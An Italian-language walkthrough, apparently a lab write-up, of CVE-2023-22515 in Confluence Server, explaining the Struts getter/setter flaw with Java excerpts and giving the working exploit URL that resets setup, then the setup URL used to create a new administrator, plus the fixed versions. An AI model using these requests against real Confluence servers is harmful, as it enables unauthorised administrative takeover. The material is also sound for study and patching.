
Controlli di accesso non corretti in Confluence Server - CVE-2023-22515
Atlassian è stata informata di una possibile vulnerabilità che potrebbe essere sfruttata e compromettere l'ambiente tramite accesso amministrativo. Il 4 ottobre 2023, Atlassian ha rilasciato un advisory di sicurezza riguardante CVE-2023-22515, che ha ottenuto un punteggio CVE di 10.0. La vulnerabilità è stata introdotta nella versione 8.0.0 di Confluence Server e nelle edizioni Data Center ed è presente nelle versioni <8.3.3, <8.4.3, <8.5.2.
Un attaccante può sfruttare la vulnerabilità per creare un account aggiuntivo in Confluence con pieni privilegi amministrativi. L'attaccante non necessita di alcuna informazione preliminare per sfruttare la vulnerabilità. Si ritiene che la vulnerabilità possa abilitare altri vettori di attacco sconosciuti e dovrebbe essere patchata il prima possibile.
Con questa vulnerabilità, l'attaccante può tornare alla fase di setup della configurazione di Confluence, riuscendo a creare un nuovo utente con accesso amministrativo. Tutto ciò è possibile perché Confluence è costruito utilizzando il framework Apache Struts, che dipende dal pacchetto XWork. XWork consente di definire Action sotto forma di classe Java. Ogni Action può essere invocata tramite URL e la classe Java corrispondente gestirà la richiesta, farà ciò che l'Action richiede e produrrà una risposta.
Questo problema si verifica principalmente a causa di un'azione di classe, in cui possiamo invocare attributi tramite URL
Lo sfruttamento avviene nell'azione ServerInfoAction, dove possiamo manipolare i getter/setter della classe e resettare la configurazione di setup.
Se analizzi il codice della classe ServerInfoAction, vedrai che estende la classe ConfluenceActionSupport. In questo modo, erediterà anche tutti i suoi metodi. Uno di questi metodi è un getter che restituisce un oggetto BootstrapStatusProvider:
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
}
La classe BootstrapStatusProvider ci interessa perché ha un altro metodo getter che possiamo usare per recuperare un oggetto ApplicationConfiguration:
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
}
Questo oggetto contiene la configurazione dell'applicazione, incluso un attributo che comunica a Confluence se la configurazione iniziale è stata completata. Tale attributo può essere modificato utilizzando un setter nella classe ApplicationConfig:
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}
Se possiamo chiamare setSetupComplete(false), possiamo resettare il processo di configurazione iniziale, e possiamo farlo utilizzando i metodi getter/setter come segue;
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
Questo URL chiamerà tutti i metodi menzionati sopra, arrivando al metodo target responsabile del reset della configurazione.
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)
Di seguito, abbiamo un esempio di server con una versione vulnerabile di Confluence.
proviamo a riavviare il processo di setup utilizzando la chiamata al metodo come spiegato sopra;
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
Dopo aver impostato il parametro setupcomplete su false, riceveremo la risposta di successo. Ciò significa che il tentativo di modificare il parametro è riuscito.
proviamo a creare un nuovo account accedendo all'URL di setup, con cui proviamo a resettare il processo.
http://atlassian.poc:8090/setup/setupadministrator-start.action
Siamo riusciti a resettare il processo di setup e a creare un nuovo utente con accesso amministrativo.
La vulnerabilità è stata corretta nelle versioni 8.3.3, 8.4.3 e 8.5.2. Anche i rami di versione più recenti dovrebbero essere sicuri.
Per maggiori dettagli, Atlassian ha pubblicato i dettagli di questa vulnerabilità sul suo sito web (Maggiori informazioni - Atlassian).